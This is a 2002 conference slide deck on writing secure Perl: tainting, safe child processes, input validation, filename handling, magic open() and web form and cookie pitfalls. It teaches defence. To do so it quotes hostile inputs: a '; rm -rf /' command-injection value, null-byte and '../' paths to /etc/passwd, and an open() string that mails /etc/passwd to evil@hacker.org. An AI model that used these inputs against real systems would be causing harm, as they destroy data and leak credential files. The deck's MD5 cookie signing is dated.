Writing Secure Perl Programs

# Writing Secure Perl Programs ## Peter Haworth pmh@cpan.org IOP Publishing Ltd. O'Reilly Open Source Convention July 22-26, 2002

# Outline Robustness Tainting Child processes Validate all user input Filenames Magic `open()` Web applications Safe sequence numbers Dynamic method names

# Introduction ## Don't trust the user Implicit trust -> eventual disaster No trust -> more safety

# Robustness `use strict` `use warnings` Check return codes of system calls
      open STDOUT,'> write-protected';
Handle ``impossible cases'' explicitly
      if( $x == 1 ){
        do_this();
      }elsif( $x == 2 ){
        do_that();
      }
`perl -T`

# Tainting Data from external sources is tainted
      $^X  @ARGV  %ENV
      <>  read()  readline()  `` qx()    etc
      shmread()  msgrcv()  getpw*()      etc
All data derived from tainted data is also tainted Tainted data can't affect external sources
      `` qx()  system()  exec()
      kill()
      unlink()  mkdir()  umask()  chmod()    etc
      open() (for writing)  NOT print() or write()
`$1`, `$2`, etc are (almost) never tainted
      my($untainted) = $tainted =~ /(\d+)/;

# Child processes Sanitise the environment
      %ENV=( PATH => '/bin:/usr/bin' );
Additional `%ENV` taint checks
      PATH IFS CDPATH ENV BASH_ENV
Don't invoke the shell
      # Unsafe:    $file eq "; rm -rf /"
      system "prog $file"      and die;
      # Safe
      system "prog \Q$file\E"  and die;
      # No shell, and less taint checks (for now)
      system '/bin/prog',$file and die;

# Child processes - Safe pipes Unsafe
      open my $fh,"| mail $user" or die;
      print $fh $msg;
      close $fh or die;
Safe, but invokes the shell
      open my $fh,"| /bin/mail \Q$user\E" or die;
      print $fh $msg;
      close $fh or die;
Safe and efficient
      defined(my $pid=open my $fh,'|-') or die;
      if(!$pid){
        exec '/bin/mail',$user;
        die "Can't exec";
      }
      print $fh $msg;
      close $fh or die;
Perl 5.8.0 - safe and programmer-efficient
      open my $fh,'|-','/bin/mail',$user or die;
      print $fh $msg;
      close $fh or die;

# Validate all user input Allow safe; don't disallow unsafe
      die "Bad!" if /[;<>&^"']/;     # Bad!
      die "Bad!" unless /\A[\w\s]+\z/; # Good
Check allowed ranges
      my ($num) = $input =~ /\A(\d+)\z/
        or die "Not an integer";
      $num >= 0 && $num <= 100
        or die "Out of range";
Make tests consistent

# Filenames Poison null byte
      # Unsafe if $filename eq "/etc/passwd\0"
      open my $fh, '<', "$filename.safe"
        or die "Invalid filename";
      # Safer
      die "Invalid filename"
        if $filename =~ /\0/;
      open my $fh, '<', "$filename.safe"
        or die "Invalid filename";
Don't allow paths
      # Prevents ../../../../etc/passwd
      die "Invalid filename"
        if $filename =~ m#/#;
Allow safe; don't disallow unsafe
      die "Invalid filename"
        unless $filename =~ /\A\w+\z/;

# Magic `open()` `open FH,$fname;` Full magic
      > /etc/passwd
      mail evil@hacker.org < /etc/passwd |
`open FH,"< $fname";` Slightly magical
      -f $fname;   # May be a different file
`open FH,"< ./$fname\0";` No magic `my $fh=IO::File->new($fname,'<');` No magic, lexical filehandle `open my $fh,'<',$fname;` As above, with perl 5.6.0

# Web applications - HTML forms Hidden fields aren't secure
      <input type="hidden" name="password"
        value="secret">
Expect multiple values
      # Unsafe
      # fname=stuff&fname=action&fname=delete
      %config = (
        action => 'create',
        filename => $cgi->param('fname'),
      );
      # Safe
      $sth->execute(
        scalar $cgi->param('fname')
      );
Expect the unexpected

# Web applications - Cookies Mostly like hidden fields Message digest adds security
      # Standard with perl 5.8.0
      use Digest::MD5 qw(md5_hex);
      $cookie_val = $val . md5_hex(
        md5_hex($val . $secret1) . $secret2
      );
Check expiry dates

  # Safe sequence numbers Not like this!
        my $seqn=$dbh->selectrow_array(q(
          select max(key_field)
          from table1
        ));
  Let the database do it for you
        my $seqn=$dbh->selectall_arrayref(q(
          select nextval('name_of_sequence')
        ))->[0][0];
  Or do it yourself
        sub nextval{
          my($name)=@_;
          $name=~/\A\w+\z/       or die "Bad sequence name";
          my $fh=IO::File->new("/path/$name",O_RDWR|O_CREAT)
                                 or die "Can't open: $!";
          flock $fh,LOCK_EX      or die "Can't lock: $!";
          chomp(my $next=<$fh>);
          ++$next;
          seek $fh,0,0           or die "Can't rewind: $!";
          print $fh "$next\n"    or die "Can't write: $!";
          close $fh              or die "Can't close: $!";
          return $next;
        }

# Dynamic method names ## `$obj -> $meth ()` Works if `$meth` is a method name
      my $meth = 'do_stuff';
      $obj -> $meth ();     # $obj->do_stuff()
Works across packages
      my $meth = 'Other::Pkg::do_stuff';
      $obj -> $meth ();
Taint checks don't protect Restrict the user's choice
      if( $meth =~ /\A\w+\z/
        and my $ref = $obj->can("safe_$meth")
      ){
        $obj -> $ref ();
      }

# References http://www.dwheeler.com/secure-programs/ Secure programming for Linux/Unix http://www.w3.org/Security/Faq/ WWW Security FAQ `perldoc perlsec` Perl documentation on tainting $CPAN/authors/id/P/PM/PMH/secprog-tpc2002.tgz Latest version of these slides and speaker's notes